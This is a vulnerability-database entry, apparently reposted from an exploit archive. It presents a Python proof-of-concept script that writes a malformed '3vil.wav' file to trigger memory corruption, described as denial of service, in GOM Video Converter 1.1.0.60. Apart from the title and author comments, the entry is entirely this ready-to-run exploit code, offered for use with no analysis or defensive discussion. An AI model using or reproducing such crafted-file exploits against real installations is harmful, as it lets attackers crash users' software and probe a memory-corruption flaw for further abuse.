发布 2014-03-24 漏洞条目

GOM Video Converter 1.1.0.60 – ‘.wav’ Memory Corruption (PoC)

Exploit Source

#!/usr/bin/python

#[+] Author: TUNISIAN CYBER

#[+] Exploit Title: GOM Video Converter 1.1.0.60 Memory Corruption PoC

#[+] Date: 22-03-2014

#[+] Category: DoS/PoC

#[+] Tested on: WinXp/Windows 7 Pro

#[+] Vendor: http://converter.gomlab.com/

#[+] Friendly Sites: na3il.com,th3-creative.com

#[+] Twitter: @TCYB3R

print"###########################################################"

print"# Title: GOMVC 1.1.0.60 Memory Corruption PoC #"

print"# Author: TUNISIAN CYBER #"

print"# Category: DoS/PoC # "

print"###########################################################"

header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"

"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"

"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"

"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

filename = "3vil.wav"

file = open(filename , "w")

file.write(header)

print "\n Done!\n"

file.close()

相关漏洞条目